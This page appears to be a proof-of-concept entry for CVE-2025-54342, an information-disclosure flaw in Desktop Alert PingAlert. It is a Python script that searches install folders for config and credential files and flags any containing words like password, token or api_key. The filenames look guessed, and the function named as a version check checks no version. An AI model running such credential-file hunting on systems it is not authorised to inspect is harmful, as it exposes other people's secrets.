CVE-2025-54342 Desktop Alert PingAlert 敏感信息泄露漏洞

# CVE-2025-54342 PoC - Desktop Alert PingAlert Information Disclosure # This PoC demonstrates accessing sensitive configuration files import os import json def check_vulnerable_version(): """Check if Desktop Alert PingAlert version is vulnerable""" # Common installation paths paths = [ r'C:\Program Files\Desktop Alert\PingAlert', r'C:\Program Files (x86)\Desktop Alert\PingAlert', r'C:\ProgramData\Desktop Alert\PingAlert' ] vulnerable_files = [] for path in paths: if os.path.exists(path): # Check for configuration files that might expose sensitive info config_files = [ 'config.xml', 'settings.xml', 'credentials.dat', 'connection.config', 'app.conf', 'secrets.json' ] for config_file in config_files: full_path = os.path.join(path, config_file) if os.path.exists(full_path): try: with open(full_path, 'r', encoding='utf-8') as f: content = f.read() # Check for sensitive patterns sensitive_patterns = ['password', 'api_key', 'token', 'secret', 'connection_string'] for pattern in sensitive_patterns: if pattern.lower() in content.lower(): vulnerable_files.append({ 'file': full_path, 'pattern': pattern, 'accessible': True }) except Exception as e: pass return vulnerable_files def main(): print("CVE-2025-54342 Desktop Alert PingAlert - Information Disclosure Test") print("=" * 70) results = check_vulnerable_version() if results: print("[!] Vulnerable configuration files found:") for result in results: print(f" File: {result['file']}") print(f" Contains sensitive pattern: {result['pattern']}") print() else: print("[+] No vulnerable files found or system not affected") if __name__ == "__main__": main()